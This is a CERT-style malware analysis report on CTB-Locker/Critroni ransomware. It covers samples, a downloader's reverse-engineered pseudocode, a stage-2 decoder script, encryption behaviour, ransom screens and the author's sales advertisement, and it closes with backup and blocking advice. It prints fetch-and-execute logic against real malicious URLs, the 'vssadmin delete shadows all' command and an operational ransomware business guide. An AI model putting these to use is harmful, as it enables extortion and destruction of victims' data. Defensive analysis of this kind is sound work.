TR-33 Analysis - CTB-Locker / Critroni

Overview

In times of data stealing malware, making direct profit - straight from the wallet of the victim to the pocket of the attacker - is not the usual case. Scareware and ransomware are a few exceptions. While scareware usually just pretends to harm the user’s computer, ransomware takes the user’s files as hostiles by encrypting them and requests a ransom to be paid to decrypt the files. While the first implementations of ransomware lacked a correct implementation of the encryption process, the latest incarnation known as CTB-Locker/Critroni has overcome this limitation. And comes with several new features as well.

Due to the fact that CTB-Locker is currently widespread and successful, CIRCL dug into the malware to better understand its functionality and overall process. The analysis is indeed for technical people but overall recommendations can be found in our article “A new wave of crypto ransomware targeting Luxembourg”.

Static Analysis

Sample A

Origin

Victim received the sample by phishing mail.

Hashes:

VirusTotal results for sample A

MicroWorld-eScan:		Trojan.GenericKDZ.26936
nProtect:				Trojan-Downloader/W32.Cabby.36864.G
CAT-QuickHeal:			TrojanDownloader.Dalexis.A3
ALYac:					Trojan.GenericKDZ.26936
Malwarebytes:			Trojan.Agent
VIPRE:					Trojan.Win32.Generic!BT
K7AntiVirus:			Unwanted-Program ( 004a8e8a1 )
BitDefender:			Trojan.GenericKDZ.26936
K7GW:					DoS-Trojan ( 200bc8af1 )
TheHacker:				Trojan/Downloader.Elenoocka.a
NANO-Antivirus:			Trojan.Win32.Cabby.dndevd
F-Prot:					W32/Trojan3.NKR
Symantec:				Downloader.Ponik
Norman:					Elenoocka.NE
TrendMicro-HouseCall:	TROJ_CRYPCTB.SME
Avast:					Win32:Crypt-RSJ [Trj]
ClamAV:					Win.Trojan.Cryptolocker-6
Kaspersky:				Trojan-Downloader.Win32.Cabby.cdzb
Tencent:				Win32.Trojan.Ctb-locker.Auto
Ad-Aware:				Trojan.GenericKDZ.26936
Emsisoft:				Trojan.GenericKDZ.26936 (B)
F-Secure:				Trojan.GenericKDZ.26936
DrWeb:					Trojan.DownLoad3.35539
TrendMicro:				TROJ_CRYPCTB.SME
McAfee-GW-Edition:		BehavesLike.Win32.HLLPSassy.nm
Sophos:					Troj/Agent-AIRO
Cyren:					W32/Trojan.JHDR-3196
Avira:					TR/Cabhot.A.1005
Antiy-AVL:				Trojan/Win32.SGeneric
Microsoft:				TrojanDownloader:Win32/Dalexis.C
ViRobot:				Trojan.Win32.Ransom.36864.B[h]
AhnLab-V3:				Win-Trojan/Ctblocker.37888
GData:					Trojan.GenericKDZ.26936
McAfee:					Ransom-CTB
AVware:					Trojan.Win32.Generic!BT
VBA32:					Trojan.FakeAV.01657
Baidu-International:	Trojan.Win32.Cabby.AZR
ESET-NOD32:				Win32/TrojanDownloader.Elenoocka.A
Rising:					PE:Trojan.Win32.CTB.c!1075356504
Ikarus:					Trojan-Spy.Zbot
Fortinet:				W32/CRYPCTB.SME!tr
AVG:					Downloader.Generic14.ING
Panda:					Trj/RansomCrypt.B
Qihoo-360:				Win32/Trojan.0bb

Scanned: 2015-02-04 16:30:26 - 57 scans - 44 detections (77.0%)

File characteristics

Meta data

Size:    36864 bytes
Type:    PE32 executable (GUI) Intel 80386, for MS Windows
Date:    0x47EB64CA [Thu Mar 27 09:11:38 2008 UTC]
EP:      0x401ff9 .text 0/4
CRC:     Claimed: 0x13478, Actual: 0x173ef [SUSPICIOUS]

Resource entries

Name               RVA      Size     Lang         Sublang                  Type
--------------------------------------------------------------------------------
REF                0x8b86   0x1a00   LANG_NEUTRAL SUBLANG_NEUTRAL          data
REF                0xa586   0x654    LANG_NEUTRAL SUBLANG_NEUTRAL          data
RT_ICON            0x6176   0x25a8   LANG_NEUTRAL SUBLANG_NEUTRAL          dBase IV DBT of `.DBF, blocks size 48, next free block index 40, 1st item "\345\260"
RT_ICON            0x871e   0x468    LANG_NEUTRAL SUBLANG_NEUTRAL          GLS_BINARY_LSB_FIRST
RT_GROUP_ICON      0x6150   0x26     LANG_NEUTRAL SUBLANG_NEUTRAL          MS Windows icon resource - 2 icons, 48x48

Sections

Name       VirtAddr     VirtSize     RawSize      Entropy
--------------------------------------------------------------------------------
.text      0x1000       0x240a       0x2600       4.192898
.rdata     0x4000       0x878        0xa00        4.781268
.data      0x5000       0x9ea        0xa00        6.624935
.rsrc      0x6000       0x51da       0x5200       5.864124

SECTION 1 (.text   ):
		virtual size                  : 0000240A (   9226.)
		virtual address               : 00001000
		section size                  : 00002600 (   9728.)
		offset to raw data for section: 00000400
		offset to relocation          : 00000000
		offset to line numbers        : 00000000
		number of relocation entries  : 0
		number of line number entries : 0
		alignment                     : 0 byte(s)
		Flags 60000020:
		  text only
		  Executable
		  Readable
SECTION 2 (.rdata  ):
		virtual size                  : 00000878 (   2168.)
		virtual address               : 00004000
		section size                  : 00000A00 (   2560.)
		offset to raw data for section: 00002A00
		offset to relocation          : 00000000
		offset to line numbers        : 00000000
		number of relocation entries  : 0
		number of line number entries : 0
		alignment                     : 0 byte(s)
		Flags 40000040:
		  data only
		  Readable
SECTION 3 (.data   ):
		virtual size                  : 000009EA (   2538.)
		virtual address               : 00005000
		section size                  : 00000A00 (   2560.)
		offset to raw data for section: 00003400
		offset to relocation          : 00000000
		offset to line numbers        : 00000000
		number of relocation entries  : 0
		number of line number entries : 0
		alignment                     : 0 byte(s)
		Flags C0000040:
		  data only
		  Readable
		  Writable
SECTION 4 (.rsrc   ):
		virtual size                  : 000051DA (  20954.)
		virtual address               : 00006000
		section size                  : 00005200 (  20992.)
		offset to raw data for section: 00003E00
		offset to relocation          : 00000000
		offset to line numbers        : 00000000
		number of relocation entries  : 0
		number of line number entries : 0
		alignment                     : 0 byte(s)
		Flags 40000040:
		  data only
		  Readable

Sample B

Origin

Downloaded from hxxp://locamat-antilles.com/memo/sancho.tar.gz by Sample A

Hashes:

Type of file

Data

VirusTotal results for sample B

MicroWorld-eScan:		Trojan.Dalexis.Crypted.1
nProtect:				Trojan.Dalexis.Crypted.1
ALYac:					Trojan.Dalexis.Crypted.1
TrendMicro-HouseCall:	Suspicious_GEN.F47V0129
BitDefender:			Trojan.Dalexis.Crypted.1
Ad-Aware:				Trojan.Dalexis.Crypted.1
Emsisoft:				Trojan.Dalexis.Crypted.1 (B)
F-Secure:				Trojan.Dalexis.Crypted.1
TrendMicro:				TROJ_DALEXENC.SM
McAfee-GW-Edition:		Dalexis-Enc.a
GData:					Trojan.Dalexis.Crypted.1
McAfee:					Dalexis-Enc.a
Ikarus:					Trojan.Dalexis.Crypted

Scanned: 2015-02-02 02:19:10 - 57 scans - 13 detections (22.0%)

Sample C

Origin

Sample C is sample B decoded by Sample A

Hashes:

VirusTotal results for sample C

Bkav:					W32.RansomwareLTAAD.Trojan
MicroWorld-eScan:		Trojan.CTBLocker.Gen.1
nProtect:				Trojan.CTBLocker.Gen.1
CMC:					Packed.Win32.Katusha.3!O
CAT-QuickHeal:			TrojanRansom.Critroni.A3
ALYac:					Trojan.Ransom.CTBLocker
Malwarebytes:			Trojan.CTBLocker
K7AntiVirus:			Trojan ( 0049d83b1 )
K7GW:					DoS-Trojan ( 200f3a1f1 )
TheHacker:				Trojan/Filecoder.da
NANO-Antivirus:			Trojan.Win32.Encoder.dnmfgu
Symantec:				Downloader.Ponik
Norman:					Kryptik.JUNK
TotalDefense:			Win32/Ransom.KBFOWJD
TrendMicro-HouseCall:	TROJ_CRYPCTB.SME
Avast:					Win32:Crypt-RSJ [Trj]
Kaspersky:				HEUR:Trojan.Win32.Generic
BitDefender:			Trojan.CTBLocker.Gen.1
Agnitum:				Trojan.Agent!0MfZDPQgTqE
SUPERAntiSpyware:		Trojan.Agent/Gen-CryptoLocker
Ad-Aware:				Trojan.CTBLocker.Gen.1
Emsisoft:				Trojan.CTBLocker.Gen.1 (B)
F-Secure:				Trojan.CTBLocker.Gen.1
DrWeb:					Trojan.Encoder.858
VIPRE:					Trojan.Win32.Dalexis-Ransom-CTB
TrendMicro:				TROJ_CRYPCTB.SME
McAfee-GW-Edition:		BehavesLike.Win32.AAEH.bc
Sophos:					Troj/Agent-AIRO
Cyren:					W32/Ransom.ERCF-3829
Jiangmin:				Trojan/Generic.bqtdy
Avira:					TR/Crypt.Xpack.139097
Antiy-AVL:				Trojan[:HEUR]/Win32.AGeneric
Microsoft:				Ransom:Win32/Critroni
AhnLab-V3:				Win-Trojan/CTBLocker.Gen
GData:					Trojan.CTBLocker.Gen.1
McAfee:					Ransom-CTB
AVware:					Trojan.Win32.Dalexis-Ransom-CTB
Panda:					Trj/RansomCrypt.B
ESET-NOD32:				Win32/Filecoder.DA
Ikarus:					Trojan-Ransom.CryptoWall3
Fortinet:				W32/Ransom.CTB!tr
AVG:					Win32/Cryptor

Scanned: 2015-02-13 11:06:10 - 57 scans - 42 detections (73.0%)

File characteristics

Meta data

Size:    719873 bytes
Type:    PE32 executable (GUI) Intel 80386, for MS Windows
Date:    0x50898883 [Thu Oct 25 18:44:19 2012 UTC]
EP:      0x4052ae .text 0/3
CRC:     Claimed: 0x16dd2, Actual: 0xb467d [SUSPICIOUS]

Resource entries

Name               RVA      Size     Lang         Sublang                  Type
--------------------------------------------------------------------------------
RT_ICON            0x81f6   0x4228   LANG_NEUTRAL SUBLANG_NEUTRAL          FoxPro FPT, blocks size 0, next free block index 671088640
RT_ICON            0xc41e   0x10a8   LANG_NEUTRAL SUBLANG_NEUTRAL          data
RT_ICON            0xd4c6   0x988    LANG_NEUTRAL SUBLANG_NEUTRAL          data
RT_ICON            0xde4e   0x468    LANG_NEUTRAL SUBLANG_NEUTRAL          GLS_BINARY_LSB_FIRST
RT_RCDATA          0xe2b6   0xa2400  LANG_NEUTRAL SUBLANG_NEUTRAL          data
RT_RCDATA          0xb06b6  0x7e3    LANG_NEUTRAL SUBLANG_NEUTRAL          data
RT_GROUP_ICON      0x81b0   0x46     LANG_NEUTRAL SUBLANG_NEUTRAL          MS Windows icon resource - 4 icons, 64x64

Sections

Name       VirtAddr     VirtSize     RawSize      Entropy
--------------------------------------------------------------------------------
.text      0x1000       0x5d53       0x5e00       5.734760
.data      0x7000       0x9fb        0xa00        6.664590
.rsrc      0x8000       0xa8ed9      0xa9000      7.972458    [SUSPICIOUS]

SECTION 1 (.text   ):
		virtual size                  : 00005D53 (  23891.)
		virtual address               : 00001000
		section size                  : 00005E00 (  24064.)
		offset to raw data for section: 00000400
		offset to relocation          : 00000000
		offset to line numbers        : 00000000
		number of relocation entries  : 0
		number of line number entries : 0
		alignment                     : 0 byte(s)
		Flags 60000020:
		  text only
		  Executable
		  Readable
SECTION 2 (.data   ):
		virtual size                  : 000009FB (   2555.)
		virtual address               : 00007000
		section size                  : 00000A00 (   2560.)
		offset to raw data for section: 00006200
		offset to relocation          : 00000000
		offset to line numbers        : 00000000
		number of relocation entries  : 0
		number of line number entries : 0
		alignment                     : 0 byte(s)
		Flags C0000040:
		  data only
		  Readable
		  Writable
SECTION 3 (.rsrc   ):
		virtual size                  : 000A8ED9 ( 691929.)
		virtual address               : 00008000
		section size                  : 000A9000 ( 692224.)
		offset to raw data for section: 00006C00
		offset to relocation          : 00000000
		offset to line numbers        : 00000000
		number of relocation entries  : 0
		number of line number entries : 0
		alignment                     : 0 byte(s)
		Flags 40000040:
		  data only
		  Readable

Analysis - Downloader & Decrypter

Sample A is a downloader of Sample B, which it decodes into Sample C to finally run it. A very good analysis of the first steps this malware dropper is performing has been published by Christophe Rieunier on his blog¹. The obfuscation techniques are well explained and are recommended to read. The algorithm described by Christophe Rieunier is basically the same as in the analyzed sample. A variation could be identified in the generation of the temporary filename.

The algorithm can be described as follows:

1. Load necessary libraries (SHLWAPI.DLL, SETUPAPI.DLL, SHELL32.DLL, WINHTTP.DLL)
2. Find and load embedded resource
3. Save resource as temp_cab_%d.cab in the temp folder (while %d is replaced with the result of GetTickCount())
4. Extract the embedded RTF document from temp_cab_%d.cab using SetupIterateCabinetW() and display it
5. Create Mutex with the value “87281673”
6. Test internet connection by contacting ‘windowsupdate.microsoft.com’
7. If successful, try to get a file from the following list of URLs:
   • joefel.com/easyscripts/sancho.tar.gz
   • m-a-metare.fr/media/sancho.tar.gz
   • ourtrainingacademy.com/LeadingRE/sancho.tar.gz
   • locamat-antilles.com/memo/sancho.tar.gz
   • thomasottogalli.com/webtest/sancho.tar.gz
   • cds-chartreuse.fr/locales/sancho.tar.gz
8. If successful, decode and CRC32 check the download
9. Write the decoded buffer into a file, execute it with ShellExecuteW() and delete it

The following is the pseudo code we could produce by reverse engineering the sample:

  void __cdecl __noreturn start(int _hModule)
    NameOfMutex = *"87281673";
    url[0] = L"joefel.com/easyscripts/sancho.tar.gz";
    url[2] = L"m-a-metare.fr/media/sancho.tar.gz";
    url[4] = L"ourtrainingacademy.com/LeadingRE/sancho.tar.gz";
    url[6] = L"locamat-antilles.com/memo/sancho.tar.gz";
    url[8] = L"thomasottogalli.com/webtest/sancho.tar.gz";
    url[10] = L"cds-chartreuse.fr/locales/sancho.tar.gz";
    load_libraries();
   generated_filename = VirtualAlloc(0, 512, MEM_COMMIT, PAGE_READWRITE);
   Context = VirtualAlloc(0, 512, MEM_COMMIT, PAGE_READWRITE);
   lpFile = VirtualAlloc(0, 512, MEM_COMMIT, PAGE_READWRITE);
   VirtualAlloc(0, 12, MEM_COMMIT, PAGE_READWRITE);
   VirtualAlloc(0, 16, MEM_COMMIT, PAGE_READWRITE);
   hResource = FindResourceA(_hModule, 1001, "DATA");
   if ( hResource )
   {
     hResourceData = LoadResource(_hModule, hResource);
   }
   else
   {
     hModule = GetModuleHandleA_0(0);
     hResource = FindResourceA(hModule, 1001, "DATA");
     if ( !hResource )
     {
       error_code = 1000;
       goto ERROR;
     }
     hModule = GetModuleHandleA_0(0);
     hResourceData = LoadResource(hModule, hResource);
   }
   if ( !hResourceData )
 ERROR:
     exit_with_errorcode(error_code);
   buffer = LockResource(hResourceData);
   hResource = kernel32_SizeofResource(0, hResource);
   GetTempPathW(512, temp_path);
   ticks = GetTickCount_0();
   wnsprintfW(&temp_file_name_cabinet, 0xFFu, L"%stemp_cab_%d.cab", &temp_path, ticks);
   lpNumberOfBytesWritten = 0;
   hFile_cabinet_file = CreateFileW(&temp_file_name_cabinet, GENERIC_WRITE, 1, 0, 2, 128, 0);
   if ( hFile_cabinet_file == -1 )
   {
     error_code = 1002;
     goto ERROR;
   }
   WriteFile(hFile_cabinet_file, buffer, hResource, &lpNumberOfBytesWritten, 0);
   CloseHandle_0(hFile_cabinet_file);
   if ( lpNumberOfBytesWritten != hResource )
   {
     error_code = 1003;
     goto ERROR;
   }
   length_of_ModuleFileName = GetModuleFileNameW(0, &ModuleFileName, 255);
   if ( !length_of_ModuleFileName )
   {
     error_code = 1004;
     goto ERROR;
   }
   if ( !generate_filename(&ModuleFileName, length_of_ModuleFileName) )
   {
     error_code = 1005;
     goto ERROR;
   }
   if ( !SetupIterateCabinetW(&temp_file_name_cabinet, 0, CallbackMsgHandler, 0) )
   {
     error_code = 1006;
     goto ERROR;
   }
   ShellExecuteW(0, 0, generated_filename, 0, 0, SW_SHOWDEFAULT);
   CreateMutexA(0, 0, &NameOfMutex);
   error = RtlGetLastWin32Error();
   error_code = 0;
   if ( error == ERROR_ALREADY_EXISTS )
     goto EXIT;
 LABEL_20:
   hBuf_test = download_to_buf(L"windowsupdate.microsoft.com/", &hResource, error_code);
   if ( hBuf_test )
     kernel32_VirtualFree(hBuf_test, 0, MEM_RELEASE);
   kernel32_Sleep(300000);
   index_urls = 0;
   for ( ms = 5000; ; kernel32_Sleep(ms) )
   {
     error_code = 1;
     ModuleFileName = &hResource;
     hBuf_download = download_to_buf(url[2 * index_urls], &hResource, 1);
     if ( hBuf_download )
     {
       if ( decode_and_crc32_buf(hBuf_download, hResource) )
       {
         write_buf_to_file_and_execute(hBuf_download + 8, hResource - 8);
         error_code = 0;
 EXIT:
         kernel32_ExitProcess();
         goto LABEL_20;
       }
       kernel32_VirtualFree(hBuf_download, 0, MEM_RELEASE);
     }
     if ( ++index_urls == 6 )
    {
      ms += 5000;
      index_urls = 1;
    }
  }
}

The HTTP requests are performed as GET requests to the servers with user agent string

"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"

The algorithm for decoding the binary in (8) can be described as:

1. From downloaded file, skip first 8 bytes
2. Decode next 16 bytes with fixed keys while key byte value for position p+16 is replaces with encoded byte of position p
3. Continue until end of file

In python, this looks like:

 #!/usr/bin/env python
 # decoder for CTB locker stage 2
 # CIRCL, 2015, @rommelfs, @adulau
 import argparse
 
 argParser = argparse.ArgumentParser(description='CTB locker stage 2 decoder')
 argParser.add_argument('-r', default='sancho.tar.gz', help='Filename to decode (usualy fake tar.gz file) (default: sancho.tar.gz)')
 argParser.add_argument('-w', default=None, help='Filename to save the decoded file (default: stdout)')
 args = argParser.parse_args()

skip = 8

def xor(data, key):
    l = len(key)
    decoded = bytearray()
    for i in range(0, len(data)):
        dec_byte = data[i] ^ key[i % l]
        decoded.append(dec_byte)
        key[i % l] = data[i]
    return decoded

f = open(args.r, 'rb')
f.seek(skip)
data = bytearray(f.read())
key = bytearray([0xC2,0x94,0x91,0x2F,0xC8,0x11,0xAA,0x77,0x77,0xAC,0x1B,0x97,0xFB,0xB4,0x8D,0xE4])
f.close()

if args.w is None:
    print xor(data, key)
else:
    f = open(args.w, 'w')
    f.write(xor(data, key))
    f.close()

Since the first 16 bytes after the offset correspond to the XOR’ed first 16 bytes of the MZ header, we don’t need to rely on knowing the key but can brute-force it instead.

Analysis - CTB-Locker malware

After sample C (the downloaded and decoded sample B) is executed by sample A, the malware initializes AES encryption, creates random file names and checks for the presence of a running copy of itself.

Then it prepares a list of file extensions it is interested in:

pwm,kwm,txt,cer,crt,der,pem,doc,cpp,c,php,js,cs,pas,bas,pl,py,docx,rtf,docm,xls,xlsx,safe,groups,xlk,xlsb,xlsm,mdb,,mdf,dbf,sql,md,dd,dds,jpe,jpg,jpeg,cr2,raw,rw2,rwl,dwg,dxf,dxg,psd,3fr,accdb,ai,arw,bay,blend,cdr,crw,dcr,dng,eps,erf,indd,kdc,mef,mrw,nef,nrw,odb,odm,odp,ods,odt,orf,p12,erf,indd,kdc,mef,mrw,nef,nrw,odb,odm,odp,ods,odt,orf,p12f,srw,wb2,vsd,wpd,wps,7z,zip,rar,dbx,gdb,bsdr,bsdu,bdcr,bdcu,bpdr,bpdu,ims,bds,bdd,bdp,gsf,gsd,iss,arp,rik,gdb,fdb,abu,config,rgx

After that, the lock screen text is prepared, but not yet shown.

This initialization phase peaks in the creation of a thread in svchost.exe. This threads starts searching for candidate files based on the list of file extensions, regardless if they are stored on a fixed drive, a removable drive or located on a remote location. In the following step, these files are being encrypted. The prepared HTML page with the lock screen information and the names of the encrypted files is now stored in CSIDL_COMMON_APPDATA (commonly “C:\Documents and Settings\All Users\Application Data”) as [RANDOM].html. Also, an explanation text is stored as “!Decrypt-All-Files-[RANDOM].txt” and a bitmap version as “!Decrypt-All-Files-[RANDOM].bmp” in the directory “C:\Documents and Settings[USER]\My Documents”.

The sample copies itself to the user’s temporary directory (commonly “c:\documents and settings[USER]\local settings\temp") as [RANDOM].exe

For persistency, the malware registers itself via Windows COM methods as a hidden scheduled task (“[RANDOM].job”), which is run as NT AUTHORITY\SYSTEM at system startup.

This recent sample of CTB-Locker reacts on common practice to use volume shadow copies to restore the original files. Unfortunately, this versions contains code that deletes all shadow copies:

vssadmin delete shadows all

Then finally the background of the desktop is changed to the bitmap file previously stored on the filesystem. An Internet Explorer window labeled ‘Encrypted’ showing the HTML file previously generated is opened after all windows are being minimized and the Desktop looks like on the following screenshot:

To reach more users in the language they understand best, the page can be viewed in different translations:

Following the ‘View’ button on bottom left of the page gives instructions on how the decryption process can be initiated, what is needed for it: - public key - money - working access to .onion links

The malware screen proposes two public gates to .onion-land, but also explains where to get the Tor browser from in case of problems.

Within this screen it can be scrolled to view all encrypted files, to fully understand the problem this malware created.

Going back (‘Close’) to the main screen and following the ‘Next’ button, this screen is displayed:

Clicking the ‘Search’ button makes indeed the malware search for files it can decrypt without contacting the server. It does so by keeping a list of keys in memory and traverses through the list of encrypted files, trying to decrypt them one after the other with the keys it stored. Those five that could be decrypted are displayed and clicking the ‘Decrypt’ button decrypts them as promised:

Client is trying to request the private key with a HTTP GET request to:

https://3fdzgtam4qk625n6.tor2web.fi/[...]

with the following HTTP headers:

Referer:        https://3fdzgtam4qk625n6.tor2web.fi/
Accept:         */*
Cookie:         disclaimer_accepted=true
User-Agent:     Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Host:           3fdzgtam4qk625n6.tor2web.fi
Cache-Control:  no-cache

If the gate server serves the website, it contains the embedded response:

<span>response=h&#163;&#184;&#177;&#221;0T69Jp&#138;xE&#248;&#179;[...]</span>

The reply seems to encode the bitcoin address and the amount of bitcoins to be transferred.

(n.b.: above screenshot was taken in another session, that’s why the counter on the bottom of the page is not in sequence with the other screenshots)

For customers who don’t have any bitcoins, the malware authors include links to Exchange services.

They included even several options for bitcoin exchange.

Reportedly, after the payment is done the decryption process starts automatically, because the malware stays in contact with the server and receives the validation of the payment.

CTB-Locker commands and states

All of these activities correspond to the following internal commands:

The countdown at the bottom of the page continues to count down the seconds to time 0. If the countdown reaches 0, another info screen is displayed, mentioning a last way to recover the encrypted files. The malware pretends to uninstall itself (the svchost.exe child process is not stopped, but the scheduled task is removed and therefore no longer started at next system startup) and the process of a potential decryption is a much more manual process.

The lock screen changes to

And the mentioned file contains:

Your documents, photos, databases and other important files have been encrypted
with strongest encryption and unique key, generated for this computer.

Private decryption key is stored on a secret Internet server and nobody can
decrypt your files until you pay and obtain the private key.

If you see the main locker window, follow the instructions on the locker.
Overwise, it's seems that you or your antivirus deleted the locker program.
Now you have the last chance to decrypt your files.

Open http://fizxfsi3cad3kn7v.onion.cab or http://fizxfsi3cad3kn7v.tor2web.org 
in your browser. They are public gates to the secret server. 

If you have problems with gates, use direct connection:

1. Download Tor Browser from http://torproject.org

2. In the Tor Browser open the http://fizxfsi3cad3kn7v.onion/
   Note that this server is available via Tor Browser only. 
   Retry in 1 hour if site is not reachable.

Copy and paste the following public key in the input form on server. Avoid missprints.
FCM3PYW-THFIWBJ-AOIZ4PP-PBHDB6R-6VLZWYK-GIPWO6T-HBT5FD2-BP23UDB
DRQMOHK-A5CLFFA-C7X4AWS-4HS3TF3-H66B2UG-KFPPD5S-QU5CF6B-JL4BKC6
QIMEIXC-BH2JBYQ-6WFVM5O-MUS7ATI-N55YCNA-5D5YPL7-JBJHUMR-XO6U3SC


Follow the instructions on the server.

Encryption

There is a very good analysis of the encryption and decryption routines written by Zairon² which explains in great detail how the encryption works. Also the role of the hidden file with random file name at a random location underneath the following location is explained:

C:\Documents and Settings\All Users\Application Data\

which contains the keys that are used.

Relations

In CIRCL’s malware information sharing platform MISP³, we found several stage 2 samples corresponding to sample 2 of this analysis. An interesting difference among the samples is the contained debug information.

Malware author’s advertisement

Kafeine from Malware don’t need Coffee was one of the first to write⁴ about CTB-Locker. He included a translation of the advertisement of the malware author, which is quoted below:

CTB-Locker, Kriptoloker new generation

Pros:

• Persistent cryptography based on elliptic curves. Decrypt files without payment impossible. Equivalent resistance RSA-3072, exceeding all analogs. At the same encryption speed is much higher.
• All keys are disposable and make them into the impossible. Keys are totally random, collisions are impossible. Do analogues locker keys or sewn into the server, they can collect.
• Placing a server in onion-domain (TOR), close to domain abuse can not be practically impossible to trace the owner and shut down the server.
• Connection to the server only after encryption of all files. Early Detection is not possible on the traffic, it is impossible to block the work of the locker. Blocking TOR prevents only payment the user, not the program. Analogs are connected to the server until the crypt and can block.
• Payment in BTC. Purse impossible to block and remove. Money is not stored on the server. The loss of the server does not lead to loss of money.
• You can pay with another Computer literacy. Codes to pay relatively short (about 150 characters), they can be rewritten on paper. Analogs offline payments do not offer, or it is not so simple.
• Installation and auto-tuning the entire server from scratch in one minute with an installer! After starting the server does not want to administer.
• Integrated support for partnership arrangements.
• The size of the locker least 700kb including all libraries and graphics. Nothing loaded. CTB - Reduction of the key advantages - Curve-Tor-Bitcoin

On request:

• Connecting exchangers in payment interface.
• Replacement of text and graphics interface locker, adaptation to different languages ​​(now locker in English only). Scheme of locker:
  1. Run EXE on the machine user. Sufficient human user.
  2. Randomly generated encryption key. On the machine and stored in RAM only the public key. Decrypt files using it impossible.
  3. Encrypts all available files with the specified extensions. Scan all hard and removable drives, network all the balls.
  4. When you restart operation continues from the last file.
  5. After processing all files dialog box is displayed to the user with a description of the problem and its payment scheme.
  6. Request to the server and transmitting the encrypted key. Message to the user or server address and a special code that you can pay for it manually.
  7. Server in response generates Bitcoin-address to which we must pay. For each user a unique address and tracking is precisely the fact of payment at this address.
  8. Bitcoin transaction monitor server for receiving the money in the account. Once the transaction has completely passed, the bot is calculated and reported to the secret key. If you have to manually enter the code, then the user is given a small exe-wired key decryptor with which he can only fix your PC. Size 30kb decryptor, it will not create a burden on the channel Serer and TOR-nodes.
  9. Boat decrypts all files and deletes itself.
  10. Money from the local purse after checking transactions are displayed on the main bitcoin-address. In case of loss of the server will not lose money. Profit from the locker depends on the quality of traffic. You can set an arbitrary price for unlock depending on the region of your traffic. For US, CA and EU recommended price 0.5 BTC ($ 320), for other regions 0.25 BTC ($ 160).

How to install and start working with the locker.

1. Install VDS with Windows 7/2003/2008/2012. At least 30GB of free space. Rekomendomanny disk considering the OS - 60-100GB, memory and processor requirements not high.
2. Run the installer. Specify the installation directory and the base price. The installer will install bitcoin, tor and own server. The installation process will generate all the keys, domains, addresses, configures all software.
3. After installation is complete, you poluchitie server fully working and in the correct folder appears builder. With it instantiates the locker room with sewn partner, the public key of the server and its address. Note that the initial synchronization may take up to bitcoin days time. Before sync will not be seen for payment transactions. Everything else will work.
4. Ready locker can copy and distribute kriptovat.
5. Server writes log information installs and pay, they can parse and calculate payments to partners. It should be remembered that the first otstuk occurs at the completion of encryption. Therefore, it can be delayed by a few hours installs. Feykovye installs (such as the rollback system after installation or multiple installs on the same machine) is not longer generate otstuk. Chance otstuk installs on the server for customer traffic accounting (can reduce the sample). Price locker is $ 3,000 a month and includes free support. Extending support costs only $ 300 per month. You can freely use the system after the end of support to launch new server generate lockers. You will only be limited in future updates. For the sum of $ 3000 get ready system “turnkey”, it does not require adjustment and refinement. You do not have anything to anybody to deduct it personally yours. You can run many different servers and lockers. You can start downloading immediately after installation.

Recommendations

CIRCL recommends to maintain a stable offline backup solution. The encryption used makes it practically impossible to recover the encrypted files without paying. The solution to decrypt files encrypted by CTB-Locker is to restore a backup.

The first stage of the malware comes often as spam mail with malicious attachment. Block all executable files on mail gateways, including .exe, .com, .scr and .cpl as well as all kinds of archives containing such file extensions.

Many of the URLs of the 2nd stage are in CIRCL’s MISP³ and can be blocked by HTTP proxies.

The 2nd stage of the malware has a specific header of 8 bytes of random data + 16 bytes that can be xor’ed with the original PE MZ header. If your web gateway can handle such a condition, block them as well.

The main recommendation CIRCL makes is to always perform regular backups of the personal files. Such malware also impacts USB drives and network attached servers. We strongly recommend to keep the backups on separate devices.

Classification of this document

TLP:WHITE information may be distributed without restriction, subject to copyright controls.

Revision

• Version 1.1 March 4, 2015 (TLP:WHITE)
• Version 1.0 February 24, 2015 (TLP:WHITE)
• Version 0.9 February 17, 2015 (TLP:WHITE)

References